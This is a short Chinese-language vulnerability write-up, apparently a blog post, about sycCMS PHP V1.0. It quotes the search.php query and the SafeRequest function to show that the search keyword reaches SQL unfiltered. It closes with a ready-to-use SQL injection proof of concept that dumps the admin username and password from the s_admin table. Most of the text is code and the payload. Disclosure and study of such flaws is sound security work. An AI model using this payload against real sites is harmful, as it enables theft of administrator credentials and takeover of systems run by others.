sycCMS PHP V1.0---呵呵呵呵呵
闲的无聊,随便找了份代码看了看。
//search.php 第17行 第49行 ...... $keyword=SafeRequest("keyword","post"); if($keyword==""){ $keyword=ReplaceStr(SafeRequest("keyword","get")," ",""); } if($keyword==""){ die("<script>alert('请输入查询的关键字');history.back();</script>"); } ...... $sqlstr="select * from s_video where S_IsHide=0 and S_ClassID<>0 and S_Name like '%".$keyword."%' or S_Author like '%".$keyword."%' or S_Year like '%".$keyword."%' or S_Direct like '%".$keyword."%' or S_Area like '%".$keyword."%'"; $recount=$db->num_rows($db->query($sqlstr));
keyword赋值前先被SafeRequest函数处理过,跟进这个函数,定义在./include/function.php中,代码如下
function SafeRequest($key,$mode,$isfilter=''){ switch ($mode){ case 'post': $value=isset($_POST[$key]) ? trim($_POST[$key]) : ''; break; case 'get': $value=isset($_GET[$key]) ? trim($_GET[$key]) : ''; break; default: $value=isset($_POST[$key]) ? trim($_POST[$key]) : ''; if($value==""){ $value=isset($_GET[$key]) ? trim($_GET[$key]) : ''; } break; } if($isfilter!=''){ $value=str_encode($value); } return $value; }
就处理了下空格,别的什么都不干,分分钟就要哈利路亚的节奏
POC:搜索框里面填:a%' and 1=2 union select 1,2,3,4,5,6,7,8,user(),10,11,12,13,14,S_AdminUserName,16,17,S_AdminPassWord,19,20,21,22,23,24,25,26 from s_admin #